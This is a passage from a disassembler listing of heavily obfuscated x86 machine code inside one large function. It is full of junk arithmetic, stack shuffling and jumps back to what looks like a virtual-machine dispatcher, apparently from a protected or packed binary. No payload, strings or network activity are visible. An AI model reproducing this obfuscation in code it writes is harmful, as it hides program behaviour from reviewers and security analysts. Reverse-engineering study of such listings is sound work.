		shr	edx, 2
		jmp	loc_5A613A
; ---------------------------------------------------------------------------


loc_5A547F:				; CODE XREF: sub_58A891+14F79j
		pop	edx
		add	edi, edx
		pop	edx
		push	ecx
		push	esi
		jmp	loc_5A93F2
; ---------------------------------------------------------------------------


loc_5A548A:				; CODE XREF: sub_58A891+1C366j
					; sub_58A891:loc_5ADB2Dj
		jnz	loc_59F0B2
		xor	esi, 4D83105Dh
		jmp	loc_5AC24F
; ---------------------------------------------------------------------------


loc_5A549B:				; CODE XREF: sub_58A891+1CE41j
		add	esp, 4
		shr	eax, 3
		not	eax
		or	eax, 694E7C9Fh
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+4Ah+var_48+2]
		jmp	loc_5A866A
; ---------------------------------------------------------------------------


loc_5A54C2:				; CODE XREF: sub_58A891+1AF34j
		pop	edx
		or	ebp, ecx
		pop	ecx
		sub	ebp, 643A3140h
		sub	ebp, 0B93B7AB9h
		add	esi, ebp
		jmp	loc_59C1EA
; ---------------------------------------------------------------------------


loc_5A54D9:				; CODE XREF: sub_58A891+14037j
		mov	ebx, 4D4135AFh
		sub	[esp+0ACh+var_AA+2], ebx
		pop	ebx
		pop	eax
		add	eax, 4D4135AFh
		mov	edx, [esp+0A4h+var_A6+2]
		add	esp, 4
		sub	[esp+0A0h+var_98], eax
		mov	eax, [esp+0A0h+var_A2+2]
		add	esp, 4
		push	esi
		jmp	loc_5A3336
; ---------------------------------------------------------------------------


loc_5A5505:				; CODE XREF: sub_58A891+155B5j
		pop	edx
		shr	bh, 7
		add	bh, 0D4h
		jmp	loc_5A3425
; ---------------------------------------------------------------------------


loc_5A5511:				; CODE XREF: sub_58A891+1670Cj
		push	small 6CECh
		jmp	loc_5A536D
; ---------------------------------------------------------------------------


loc_5A551A:				; CODE XREF: sub_58A891+1D13Dj
		mov	edx, [esp+0B0h+var_B2+2]
		add	esp, 4
		and	[edi+1Ch], eax
		push	[esp+0ACh+var_AE+2]
		pop	eax
		jmp	loc_5A640E
; ---------------------------------------------------------------------------


loc_5A552C:				; CODE XREF: sub_58A891+24CF6j
		mov	edx, [esp+0ACh+var_AE+2]
		add	esp, 4
		and	ecx, 1C271E7Fh
		inc	ecx
		push	edx
		jmp	loc_5A342D
; ---------------------------------------------------------------------------


loc_5A5542:				; CODE XREF: sub_58A891+208DAj
		add	esp, 4
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], esi
		push	eax
		mov	eax, 2
		mov	esi, eax
		jmp	loc_5A7620
; ---------------------------------------------------------------------------


loc_5A5558:				; CODE XREF: sub_58A891+1A2CBj
		mov	[esp+16h+var_18+2], ebx
		push	eax
		jmp	loc_5AC204
; ---------------------------------------------------------------------------


loc_5A5561:				; CODE XREF: sub_58A891+28714j
		pop	edi
		jmp	loc_5B2F36
; ---------------------------------------------------------------------------


loc_5A5567:				; CODE XREF: sub_58A891+1447Cj
		xchg	si, cx
		jmp	loc_59FC34
; ---------------------------------------------------------------------------


loc_5A556F:				; CODE XREF: sub_58A891+20FF0j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+0A2h+var_9E]
		jmp	loc_5A2699
; ---------------------------------------------------------------------------


loc_5A5587:				; CODE XREF: sub_58A891+1B181j
		pop	ecx
		mov	edx, ebx
		jmp	loc_5AFD58
; ---------------------------------------------------------------------------


loc_5A558F:				; CODE XREF: sub_58A891+2225Bj
					; sub_58A891+2478Aj
		add	esp, 4
		add	al, 0FCh
		sub	al, 8Ah
		add	al, 93h
		push	ecx
		push	eax
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edx
		push	eax
		mov	ah, 35h
		mov	dl, 40h
		xor	dl, ah
		pop	eax
		jmp	loc_59FDFE
; ---------------------------------------------------------------------------


loc_5A55AD:				; CODE XREF: sub_58A891+24D5Cj
		mov	edx, esi
		mov	esi, [esp+0AAh+var_AA]
		jmp	loc_5A3E05
; ---------------------------------------------------------------------------


loc_5A55B7:				; CODE XREF: sub_58A891+21B4Dj
		push	edx
		jmp	loc_59FFFE
; ---------------------------------------------------------------------------


loc_5A55BD:				; CODE XREF: sub_58A891+1D630j
		mov	ebx, eax
		mov	eax, [esp+0AEh+var_AE]
		add	esp, 4
		add	edx, ebx
		push	[esp+0AAh+var_AA]
		pop	ebx
		jmp	loc_5AA091
; ---------------------------------------------------------------------------


loc_5A55D0:				; CODE XREF: sub_58A891+221CCj
		mov	edi, 532F16ADh
		push	eax
		mov	eax, edi
		mov	esi, eax
		pop	eax
		pop	edi
		jmp	loc_5A64CA
; ---------------------------------------------------------------------------


loc_5A55E1:				; CODE XREF: sub_58A891+1F920j
		mov	edi, [esp+0A6h+var_A6]
		add	esp, 4
		push	63CCh
		mov	[esp+0A6h+var_A6], edi
		jmp	loc_5A63CB
; ---------------------------------------------------------------------------


loc_5A55F4:				; CODE XREF: sub_58A891:loc_5A9677j
		inc	edi
		jl	loc_5ADEB0
		sub	edi, 0D84BB7E6h
		jmp	loc_59E382
; ---------------------------------------------------------------------------
		pop	eax
		mov	edx, ebx
		push	ecx


loc_5A560A:				; CODE XREF: sub_58A891+181AEj
		shr	edi, 4
		push	ebx
		jmp	loc_59C65C
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0AAh+var_AA]
		sub	esp, 4
		mov	[esp+0AEh+var_AE], edi
		push	7F63h
		mov	[esp+0B2h+var_B2], esp
		add	[esp+0B2h+var_B2], 4
		jmp	loc_5A8F3A
; ---------------------------------------------------------------------------


loc_5A5631:				; CODE XREF: sub_58A891+2789Aj
		xor	edx, 0E202A8E2h
		inc	edx
		sub	edx, 7D5A389Ah
		xor	edx, 72E65BC2h
		jmp	loc_5A4A24
; ---------------------------------------------------------------------------


loc_5A5649:				; CODE XREF: sub_58A891+2782Fj
		push	ebp
		push	28691CAAh
		push	[esp+0BAh+var_BA]
		mov	ebp, [esp+0BEh+var_BE]
		add	esp, 4
		add	esp, 4
		inc	ebp
		shr	ebp, 5
		jnp	loc_5AAB37
		push	3629h
		mov	[esp+0BAh+var_BA], edx
		mov	dh, 0B8h


loc_5A5673:				; CODE XREF: sub_58A891+2219Bj
		mov	[esp+0BAh+var_BA], ecx
		push	[esp+0BAh+var_B6]
		push	[esp+0BEh+var_BE]
		jmp	loc_59ECED
; ---------------------------------------------------------------------------


loc_5A5682:				; CODE XREF: sub_58A891+1FF53j
		sub	ecx, esi
		add	ecx, 39CB0658h
		push	[esp+0C2h+var_C2]
		pop	esi
		jmp	loc_5B1D73
; ---------------------------------------------------------------------------


loc_5A5693:				; CODE XREF: sub_58A891+1B605j
		pop	ecx
		shr	ebx, 6
		not	ebx
		add	ebx, 2D331428h
		jmp	loc_5A35C9
; ---------------------------------------------------------------------------


loc_5A56A4:				; CODE XREF: sub_58A891+1737Cj
		pop	ebp
		jmp	loc_5B272C
; ---------------------------------------------------------------------------


loc_5A56AA:				; CODE XREF: sub_58A891+14F9Fj
		sub	eax, 55F790CCh
		jmp	loc_5AD15B
; ---------------------------------------------------------------------------


loc_5A56B4:				; CODE XREF: sub_58A891+21519j
		push	ecx
		jmp	loc_5A8132
; ---------------------------------------------------------------------------


loc_5A56BA:				; CODE XREF: sub_58A891+13AE6j
					; sub_58A891+19CF4j
		mov	[esp+32h+var_34+2], ecx
		jmp	loc_5AE208
; ---------------------------------------------------------------------------


loc_5A56C2:				; CODE XREF: sub_58A891:loc_5A928Cj
		add	ecx, 1DBF4331h
		mov	edi, ecx
		pop	ecx
		jmp	loc_59F96C
; ---------------------------------------------------------------------------


loc_5A56D0:				; CODE XREF: sub_58A891+1D822j
		add	[esp+2Eh+var_30+2], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A56D9:				; CODE XREF: sub_58A891+1227Dj
		mov	[esp+0BAh+var_BA], ebx
		mov	bh, 9Bh
		sub	esp, 4
		mov	[esp+0BEh+var_BE], ebx
		mov	bl, 1Ch
		add	bl, 0B6h
		sub	esp, 4
		mov	[esp+0C2h+var_C2], eax
		mov	al, bl
		mov	dh, al
		jmp	loc_59C3B4
; ---------------------------------------------------------------------------


loc_5A56FE:				; CODE XREF: sub_58A891+18129j
		push	edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_59FE81
; ---------------------------------------------------------------------------


loc_5A570B:				; CODE XREF: sub_58A891+21287j
		sub	al, 1Bh
		pop	ebx
		sub	al, cl
		add	al, 73h
		jmp	loc_5B1174
; ---------------------------------------------------------------------------


loc_5A5717:				; CODE XREF: sub_58A891+23FC5j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A571C:				; CODE XREF: sub_58A891+12AE8j
		mov	[esp+1Eh+var_20+2], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Eh+var_20+2]
		jmp	loc_5ADFFE
; ---------------------------------------------------------------------------


loc_5A5735:				; CODE XREF: sub_58A891+1B215j
		push	eax
		mov	eax, 0
		add	eax, ecx
		push	2955h
		mov	[esp+26h+var_28+2], edx
		mov	edx, 0
		add	edx, eax
		add	dword ptr [edx], 1
		pop	edx
		pop	eax
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_59C89D
; ---------------------------------------------------------------------------


loc_5A5762:				; CODE XREF: sub_58A891+21D7Bj
					; sub_58A891+285B5j
		mov	esp, [esp+1Ah+var_1C+2]
		mov	eax, 531E95D8h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A4861
; ---------------------------------------------------------------------------


loc_5A5772:				; CODE XREF: sub_58A891+1B998j
		push	[esp+16h+var_18+2]
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	ebx
		jmp	loc_59C07D
; ---------------------------------------------------------------------------


loc_5A5781:				; CODE XREF: sub_58A891+1BBD2j
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, 29EE4AEEh
		or	ecx, 0AB445A5h
		push	ecx
		sub	[esp+22h+var_24+2], 0FFFFFFFFh
		pop	ecx
		push	edx
		push	eax
		mov	eax, 578A3FFBh
		sub	eax, 1DFB7116h
		sub	eax, 1BDFBB1Eh
		mov	edx, eax
		pop	eax
		shl	edx, 7
		not	edx
		shl	edx, 5
		neg	edx
		inc	edx
		add	edx, 943E0h
		add	ecx, edx
		jmp	loc_5A54C2
; ---------------------------------------------------------------------------


loc_5A57CA:				; CODE XREF: sub_58A891+1D44Dj
		mov	bh, al
		pop	eax
		jmp	loc_5A7524
; ---------------------------------------------------------------------------


loc_5A57D2:				; CODE XREF: sub_58A891+1CF92j
					; sub_58A891+227F0j
		add	esi, 71241B9h
		sub	eax, esi
		pop	esi
		mov	edi, eax
		jmp	loc_5A1F4F
; ---------------------------------------------------------------------------


loc_5A57E2:				; CODE XREF: sub_58A891+1644Fj
		and	edx, 3679058Eh
		jp	loc_5A67C0
		xor	edx, 2000004h
		mov	eax, edx
		pop	edx
		jmp	loc_5ADDD0
; ---------------------------------------------------------------------------
		push	esi


loc_5A57FD:				; CODE XREF: sub_58A891+20509j
		jp	loc_5B0A44
		shl	ebx, 4
		jmp	loc_5A7172
; ---------------------------------------------------------------------------
		xor	esi, [esp+82h+var_84+2]
		mov	dh, 49h
		xor	al, 4


loc_5A5812:				; CODE XREF: sub_58A891+1A045j
		add	ecx, 7E351994h
		jmp	loc_5A7133
; ---------------------------------------------------------------------------


loc_5A581D:				; CODE XREF: sub_58A891+18F21j
					; sub_58A891+264FEj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A75A5
; ---------------------------------------------------------------------------


loc_5A582D:				; CODE XREF: sub_58A891+1A2DFj
		add	ecx, 4
		push	ebp
		jmp	loc_5A74BA
; ---------------------------------------------------------------------------


loc_5A5839:				; CODE XREF: sub_58A891+11745j
		mov	esp, [esp+36h+var_38+2]
		rep movsd
		jmp	loc_5B18AE
; ---------------------------------------------------------------------------


loc_5A5843:				; CODE XREF: sub_58A891+2371Aj
		jz	loc_5A587D
		dec	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+3Ah+var_3C+2]
		pop	esp
		mov	[esp+36h+var_38+2], ecx
		jmp	loc_5A0E78
; ---------------------------------------------------------------------------


loc_5A5862:				; CODE XREF: sub_58A891+2368Dj
		mov	dx, word ptr [esp+36h+var_38+2]
		push	eax
		jmp	loc_5A8DAA
; ---------------------------------------------------------------------------


loc_5A586C:				; CODE XREF: sub_58A891+226AAj
		add	esp, 4
		add	ebp, edx
		pop	edx
		add	ebp, 2
		jmp	loc_5A47FF
; ---------------------------------------------------------------------------


loc_5A587D:				; CODE XREF: sub_58A891:loc_5A5843j
		dec	edx
		push	edx
		mov	edx, esp
		jmp	loc_5A9611
; ---------------------------------------------------------------------------


loc_5A5886:				; CODE XREF: sub_58A891+1DDBBj
		mov	edi, 4CD82F72h
		add	eax, edi
		pop	edi
		push	eax
		xchg	ebp, [esp+3Ah+var_3C+2]
		not	ebp
		xchg	ebp, [esp+3Ah+var_3C+2]
		pop	eax
		sub	eax, 0A00C1424h
		and	ecx, eax
		pop	eax
		dec	ecx
		push	edx
		jmp	loc_59EF7C
; ---------------------------------------------------------------------------


loc_5A58A7:				; CODE XREF: sub_58A891+200B2j
		mov	[esp+36h+var_38+2], edx
		jmp	loc_5A2ECF
; ---------------------------------------------------------------------------


loc_5A58AF:				; CODE XREF: sub_58A891+154EDj
					; sub_58A891+15780j
		jmp	loc_5A9BB9
; ---------------------------------------------------------------------------


loc_5A58B4:				; CODE XREF: sub_58A891+20B9Bj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp+86h+var_88+2]
		jmp	loc_5A4B75
; ---------------------------------------------------------------------------


loc_5A58C4:				; CODE XREF: sub_58A891+1F316j
		mov	[esp+86h+var_88+2], eax
		push	esp
		mov	eax, [esp+8Ah+var_8C+2]
		add	esp, 4
		add	eax, 4
		jmp	loc_5A81D9
; ---------------------------------------------------------------------------


loc_5A58D8:				; CODE XREF: sub_58A891+1789Fj
		sub	ch, 94h
		push	eax
		mov	al, 0BCh
		neg	al
		shl	al, 7
		or	al, 0CCh
		jmp	loc_5AC1BD
; ---------------------------------------------------------------------------


loc_5A58EA:				; CODE XREF: sub_58A891+15EFAj
		add	edx, ebp
		pop	ebp
		push	60D3h
		mov	[esp+6Eh+var_70+2], esi
		jmp	loc_5A39EE
; ---------------------------------------------------------------------------
		push	[esp+6Eh+var_70+2]
		pop	ecx
		sub	esp, 4
		jmp	loc_5AA751
; ---------------------------------------------------------------------------


loc_5A5906:				; CODE XREF: sub_58A891+1C555j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AD853
; ---------------------------------------------------------------------------


loc_5A590E:				; CODE XREF: sub_58A891+1C9EDj
		xchg	ebp, [esp+6Eh+var_70+2]
		mov	esp, [esp+6Eh+var_70+2]
		shr	byte ptr [esp+6Eh+var_70+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A591D:				; CODE XREF: sub_58A891+269FFj
		add	esp, 4
		push	ecx
		push	esi
		push	3DE572D4h
		pop	esi
		xor	esi, 3DE572D0h
		jmp	loc_5A7F2A
; ---------------------------------------------------------------------------


loc_5A5933:				; CODE XREF: sub_58A891+17958j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		jmp	loc_59C35F
; ---------------------------------------------------------------------------


loc_5A5947:				; CODE XREF: sub_58A891+247D6j
		add	esi, edx
		sub	esi, 51703228h
		pop	edx
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, 4
		jmp	loc_5B2FAA
; ---------------------------------------------------------------------------


loc_5A5963:				; CODE XREF: sub_58A891+1E035j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_59F7F8
; ---------------------------------------------------------------------------


loc_5A5970:				; CODE XREF: sub_58A891+27FC7j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5A2A99
; ---------------------------------------------------------------------------


loc_5A5978:				; CODE XREF: sub_58A891+1D07Fj
		add	ebx, 0D82FF54Eh
		jmp	loc_59FD0A
; ---------------------------------------------------------------------------


loc_5A5983:				; CODE XREF: sub_58A891+21B07j
		add	ebx, eax
		jmp	loc_59D1D5
; ---------------------------------------------------------------------------


loc_5A598A:				; CODE XREF: sub_58A891+1717Aj
		add	edx, 0BED1402h
		pop	esi
		xchg	edx, [esp+0FEh+var_100+2]
		jmp	loc_5A5CC4
; ---------------------------------------------------------------------------


loc_5A5999:				; CODE XREF: sub_58A891+176DEj
		add	ebx, 577B6055h
		add	ebx, 3E3F1ED2h
		add	ebx, esi
		sub	ebx, 3E3F1ED2h
		push	esi
		push	7A69h
		mov	[esp+0ACh+var_AE+2], edx
		mov	edx, 737564C7h
		mov	esi, edx
		jmp	loc_5AF164
; ---------------------------------------------------------------------------


loc_5A59C2:				; CODE XREF: sub_58A891+2356Aj
		xor	ebx, 0A41B6102h
		mov	ebp, ebx
		jmp	loc_5A29BF
; ---------------------------------------------------------------------------


loc_5A59CF:				; CODE XREF: sub_58A891+183A0j
		push	ecx
		mov	ecx, 52AB0250h
		jmp	loc_5A2AB3
; ---------------------------------------------------------------------------


loc_5A59DA:				; CODE XREF: sub_58A891+1FB5Cj
		push	ebp
		push	[esp+0B2h+var_AE]
		pop	ebp
		pop	[esp+0B2h+var_B2]
		mov	esp, [esp+0AEh+var_AE]
		mov	[esp+0AEh+var_AE], ecx
		push	eax
		mov	ah, 9
		mov	cl, ah
		pop	eax
		sub	al, 5Ah
		sub	al, cl
		add	al, 5Ah
		mov	ecx, [esp+0AEh+var_AE]
		jmp	loc_5A132D
; ---------------------------------------------------------------------------


loc_5A59FD:				; CODE XREF: sub_58A891+1BAEEj
					; sub_58A891+1DB9Bj
		xchg	bh, al
		jmp	loc_5A763A
; ---------------------------------------------------------------------------


loc_5A5A04:				; CODE XREF: sub_58A891+25F4Dj
		and	ecx, 0D3C41DBh
		xor	ecx, 0FB41082h
		add	ebx, ecx
		jmp	loc_5A5587
; ---------------------------------------------------------------------------


loc_5A5A17:				; CODE XREF: sub_58A891+207C3j
		push	[esp+0AEh+var_AA]
		mov	edi, [esp+0B2h+var_B2]
		add	esp, 4
		pop	[esp+0AEh+var_AE]
		mov	esp, [esp+0AAh+var_AA]
		bt	word ptr [esp+0AAh+var_AA], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5A35:				; CODE XREF: sub_58A891+1D4F6j
		mov	edi, 5B6B3814h
		shr	edi, 1
		inc	edi
		sub	edi, 9BC462A7h
		jmp	loc_5A6B3F
; ---------------------------------------------------------------------------


loc_5A5A48:				; CODE XREF: sub_58A891+198E2j
		add	ebp, ebx
		jmp	loc_5A0519
; ---------------------------------------------------------------------------


loc_5A5A4F:				; CODE XREF: sub_58A891+18A00j
		mov	[esp+16h+var_18+2], ebx
		push	ecx
		push	eax
		jmp	loc_5A6DF6
; ---------------------------------------------------------------------------


loc_5A5A59:				; CODE XREF: sub_58A891+16558j
		mov	ebp, [esp+52h+var_54+2]
		push	edx
		mov	edx, esp
		jmp	loc_5AC852
; ---------------------------------------------------------------------------


loc_5A5A64:				; CODE XREF: sub_58A891+1DD3Ej
		push	2755h
		mov	[esp+5Ah+var_5C+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A9FF7
; ---------------------------------------------------------------------------


loc_5A5A7F:				; CODE XREF: sub_58A891+15726j
		sub	ebp, 34540074h
		push	edi
		mov	edi, 7BE23328h
		sub	esp, 4
		mov	[esp+62h+var_64+2], esi
		jmp	loc_5B29FF
; ---------------------------------------------------------------------------


loc_5A5A99:				; CODE XREF: sub_58A891+22E4Bj
		pop	esi
		push	0
		jmp	loc_5A3D1D
; ---------------------------------------------------------------------------


loc_5A5AA4:				; CODE XREF: sub_58A891+2812Dj
		add	ecx, edi
		jmp	loc_5A5735
; ---------------------------------------------------------------------------


loc_5A5AAB:				; CODE XREF: sub_58A891+22AE9j
		xor	[esp+62h+var_64+2], esi
		jmp	loc_5A6BC0
; ---------------------------------------------------------------------------
		push	[esp+62h+var_64+2]
		push	[esp+66h+var_68+2]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+6Ah+var_6C+2]
		mov	esp, [esp+6Ah+var_6C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+72h+var_74+2], ecx
		mov	ecx, 543F6588h
		jmp	loc_59C2CF
; ---------------------------------------------------------------------------


loc_5A5AE8:				; CODE XREF: sub_58A891+189B0j
		mov	ebp, 4
		add	eax, 0CF12111h
		jmp	loc_5AC8ED
; ---------------------------------------------------------------------------


loc_5A5AF7:				; CODE XREF: sub_58A891+1434Ej
		add	ebx, esi
		pop	esi
		sub	edx, ebx
		push	[esp+8Ah+var_8C+2]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp+86h+var_88+2]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+82h+var_84+2]
		mov	esp, [esp+82h+var_84+2]
		add	word ptr [esp+82h+var_84+2], ax
		pushf
		jmp	loc_5AA7E9
; ---------------------------------------------------------------------------


loc_5A5B1C:				; CODE XREF: sub_58A891+176AEj
		push	edi
		mov	edi, 6E4F180Dh
		xor	edi, 6E4F1809h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		jmp	locret_5ACC68
; ---------------------------------------------------------------------------


loc_5A5B3C:				; CODE XREF: sub_58A891+1439Bj
		mov	[esp+92h+var_94+2], ecx
		jmp	loc_5AE9F8
; ---------------------------------------------------------------------------


loc_5A5B44:				; CODE XREF: sub_58A891+11A17j
		add	eax, ebx
		pop	ebx
		sub	eax, 0F4A1DBCh
		jmp	loc_5AC62C
; ---------------------------------------------------------------------------


loc_5A5B51:				; CODE XREF: sub_58A891+14708j
		shl	esi, 4
		jmp	loc_5AD782
; ---------------------------------------------------------------------------


loc_5A5B59:				; CODE XREF: sub_58A891+21231j
		sub	eax, edx
		sub	eax, 28DC4E6Eh
		pop	edx
		push	eax
		pop	ebx
		mov	eax, [esp+0AAh+var_AA]
		push	ebp
		push	esp
		jmp	loc_5B01B2
; ---------------------------------------------------------------------------


loc_5A5B6D:				; CODE XREF: sub_58A891+1F323j
		mov	ebx, 38CB7DA4h
		add	ecx, ebx
		pop	ebx
		jmp	loc_59E11B
; ---------------------------------------------------------------------------


loc_5A5B7A:				; CODE XREF: sub_58A891+1851Aj
		add	esi, 4
		jmp	loc_5ADA77
; ---------------------------------------------------------------------------


loc_5A5B85:				; CODE XREF: sub_58A891+127C4j
		mov	ebx, 63144FC5h
		add	edx, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5B98:				; CODE XREF: sub_58A891+23804j
		mov	esp, [esp+96h+var_98+2]
		mov	[esp+96h+var_98+2], ebx
		jmp	loc_5A32B5
; ---------------------------------------------------------------------------


loc_5A5BA3:				; CODE XREF: sub_58A891+18057j
		sub	esp, 4
		jmp	loc_5A6E44
; ---------------------------------------------------------------------------


loc_5A5BAE:				; CODE XREF: sub_58A891+1E4FCj
		push	esi
		push	edi
		mov	edi, 63F16C5Eh
		jmp	loc_5AF8BA
; ---------------------------------------------------------------------------


loc_5A5BBA:				; CODE XREF: sub_58A891+25DDDj
		push	[esp+62h+var_60+2]
		jmp	loc_5AA09A
; ---------------------------------------------------------------------------


loc_5A5BC3:				; CODE XREF: sub_58A891+15F51j
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5AB215
; ---------------------------------------------------------------------------


loc_5A5BEC:				; CODE XREF: sub_58A891+1221Aj
		sub	ebp, 718E0B11h
		push	[esp+0AEh+var_AE]
		pop	edi
		add	esp, 4
		jmp	loc_5A0BAA
; ---------------------------------------------------------------------------


loc_5A5BFE:				; CODE XREF: sub_58A891+1422Cj
					; sub_58A891+22B11j
		neg	eax
		jmp	loc_5B1485
; ---------------------------------------------------------------------------


loc_5A5C05:				; CODE XREF: sub_58A891+24B2Aj
		add	ch, ah
		pop	eax
		and	al, ch
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		xor	al, 0C2h
		add	bl, al
		jmp	loc_5A6A26
; ---------------------------------------------------------------------------


loc_5A5C1C:				; CODE XREF: sub_58A891+25163j
		and	ebp, 32E559F7h
		push	ebp
		jmp	loc_5A33F5
; ---------------------------------------------------------------------------


loc_5A5C28:				; CODE XREF: sub_58A891+19470j
		and	eax, ebp
		push	[esp+1Eh+var_20+2]
		pop	ebp
		sub	esp, 4
		mov	[esp+22h+var_24+2], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 36E6C24h
		jmp	loc_5ABFB0
; ---------------------------------------------------------------------------


loc_5A5C47:				; CODE XREF: sub_58A891+182C6j
		and	ecx, 2B342377h
		or	ecx, 3448603Ah
		jmp	loc_5AB870
; ---------------------------------------------------------------------------


loc_5A5C58:				; CODE XREF: sub_58A891+21AEFj
		push	4D19h
		mov	[esp+0A6h+var_A6], ecx
		push	6ADBh
		mov	[esp+0AAh+var_AA], esi
		mov	esi, 699541BCh
		dec	esi
		jmp	loc_5A6027
; ---------------------------------------------------------------------------


loc_5A5C73:				; CODE XREF: sub_58A891+2100Bj
		add	edx, 12CB394Dh
		sub	edx, ecx
		sub	edx, 12CB394Dh
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5A82E9
; ---------------------------------------------------------------------------
		lodsd
		push	5396h
		mov	[esp+0AAh+var_AA], ebp
		jmp	loc_5AA35C
; ---------------------------------------------------------------------------


loc_5A5C9A:				; CODE XREF: sub_58A891+1F7EBj
		add	ebx, edx
		sub	ebx, 412218ECh
		jmp	loc_5A8523
; ---------------------------------------------------------------------------


loc_5A5CA7:				; CODE XREF: sub_58A891+1E493j
		xor	[esp+0AAh+var_AA], ebx
		xor	ebx, [esp+0AAh+var_AA]
		pop	esp
		jmp	loc_5B0971
; ---------------------------------------------------------------------------


loc_5A5CB3:				; CODE XREF: sub_58A891+202A1j
		jz	loc_5A3AF3
		push	edx
		mov	dl, 1
		sub	cl, dl
		pop	edx
		jmp	loc_5A036A
; ---------------------------------------------------------------------------


loc_5A5CC4:				; CODE XREF: sub_58A891+1B103j
		pop	esp
		mov	[esp+0FAh+var_FC+2], eax
		push	49D5h
		mov	[esp+0FEh+var_100+2], esp
		add	[esp+0FEh+var_100+2], 4
		jmp	loc_5AC44D
; ---------------------------------------------------------------------------


loc_5A5CD9:				; CODE XREF: sub_58A891+12510j
		pop	[esp+0B2h+var_B2]
		mov	esp, [esp+0AEh+var_AE]
		jmp	loc_59E52E
; ---------------------------------------------------------------------------


loc_5A5CE4:				; CODE XREF: sub_58A891+123E0j
		mov	ecx, 2F3D7EF4h
		jmp	loc_5A1CCE
; ---------------------------------------------------------------------------


loc_5A5CEE:				; CODE XREF: sub_58A891+13CA7j
		push	57EAh
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, esp
		jmp	loc_5A68B8
; ---------------------------------------------------------------------------


loc_5A5CFD:				; CODE XREF: sub_58A891+209EEj
		mov	[esp+4Ah+var_4C+2], ecx
		jmp	loc_5B069A
; ---------------------------------------------------------------------------


loc_5A5D05:				; CODE XREF: sub_58A891+18507j
		push	6AAC7D9Eh
		pop	edx
		mov	esi, edx
		jmp	loc_5A8A4F
; ---------------------------------------------------------------------------


loc_5A5D12:				; CODE XREF: sub_58A891+2764Fj
		push	edx
		mov	edx, 24744742h
		add	edx, 4D20351Ch
		shl	edx, 6
		jmp	loc_5A4D59
; ---------------------------------------------------------------------------


loc_5A5D26:				; CODE XREF: sub_58A891+14DDDj
		push	0E38h
		mov	[esp+2Eh+var_30+2], ebp
		sub	esp, 4
		push	esp
		jmp	loc_5AE252
; ---------------------------------------------------------------------------


loc_5A5D37:				; CODE XREF: sub_58A891+11EBDj
		neg	eax
		jmp	loc_5A9B82
; ---------------------------------------------------------------------------


loc_5A5D3E:				; CODE XREF: sub_58A891+1A8CCj
		pop	esp
		pop	small word ptr [esp+12h+var_14+2]
		push	small 15E9h
		mov	word ptr [esp+12h+var_14+2], di
		push	small 1AA2h
		mov	word ptr [esp+14h+var_14], cx
		mov	di, word ptr [esp+14h+var_14]
		add	esp, 2
		mov	cx, word ptr [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, esp
		push	edx
		mov	edx, 95D52CCh
		neg	edx
		jmp	loc_5A1E7C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	ebx, esp
		jmp	loc_5B01F0
; ---------------------------------------------------------------------------


loc_5A5D81:				; CODE XREF: sub_58A891+1F8DAj
		pop	edi
		push	eax
		push	[esp+1Ch+var_18]
		mov	eax, [esp+20h+var_20]
		jmp	loc_5B0A62
; ---------------------------------------------------------------------------


loc_5A5D8F:				; CODE XREF: sub_58A891+21B7Ej
		push	506h
		mov	[esp+24h+var_24], edi
		jmp	loc_5A0255
; ---------------------------------------------------------------------------


loc_5A5D9C:				; CODE XREF: sub_58A891+16E9Dj
		xor	edi, 0A7879CACh
		jmp	loc_59EACD
; ---------------------------------------------------------------------------


loc_5A5DA7:				; CODE XREF: sub_58A891+14EB5j
		xor	edi, esi
